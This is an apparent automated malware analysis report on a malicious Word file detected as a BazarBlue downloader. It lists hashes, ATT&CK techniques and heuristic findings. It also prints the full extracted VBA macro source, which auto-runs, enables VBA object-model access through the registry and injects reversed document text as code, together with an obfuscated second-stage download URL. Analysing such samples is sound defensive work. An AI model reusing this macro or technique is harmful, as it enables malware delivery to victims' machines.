Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dddcfef80994df61…

MALICIOUS

Office (OOXML)

46.8 KB Created: 2021-06-28 11:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: d32d7699189994c3b4119745436d0205 SHA-1: e0cc8bfd6912a9f20295099762e4c18d619328b1 SHA-256: dddcfef80994df6169a24ea950d02283985587a699c872fb78f97b86e4324147
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that execute an AutoOpen function. This function uses WScript.Shell to write to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM and then attempts to download and execute a second-stage payload from the obfuscated URL: https://tfbC9uyeVSqsZbHMYGNh2bC/VzlyIzuNQ0UL4N96HkeXtxFZINwlc3jHbG4csAjvjc6Lwp/nCSiEKqnD/25Q2Vi9Ee4Z0AFL98RoBzWho0Hk48pW/Q1Dxj0/31655/22685/adda/moc.gerehpsekrub//:ptth. The presence of AutoOpen, Shell(), and CreateObject calls strongly indicates malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Sub memNext()
CreateObject("wscript.shell").RegWrite dataTmp, 1, "REG_DWORD"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub memNext()
CreateObject("wscript.shell").RegWrite dataTmp, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub memNext()
CreateObject("wscript.shell").RegWrite dataTmp, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub vbListboxText(counterLocal)
Set convertValueLoad = GetObject("", "word.application")
With convertValueLoad.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "swapConst"
Sub autoopen()
memNext
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1145 bytes
SHA-256: 27ad0aa1f9ed9ea55ad39505db47b295439b721b846183353543a3737abe75cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WStruct"
Function globalMemoryDocument()
globalMemoryDocument = ActiveDocument.Range.Text
End Function
Sub memNext()
CreateObject("wscript.shell").RegWrite dataTmp, 1, "REG_DWORD"
End Sub
Function clearPointerLink()
clearPointerLink = Mid(globalMemoryDocument, 4 / 2, 3000000)
End Function

Attribute VB_Name = "swapConst"
Sub autoopen()
memNext
vbListboxText StrReverse(clearPointerLink)
End Sub
Sub vbListboxText(counterLocal)
Set convertValueLoad = GetObject("", "word.application")
With convertValueLoad.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString counterLocal
End With
convertValueLoad.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function dataTmp()
dataTmp = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 4205612a39598c5c02ead72aaca26000d2be0c16ad37f96d0b74c6deb8cca70b

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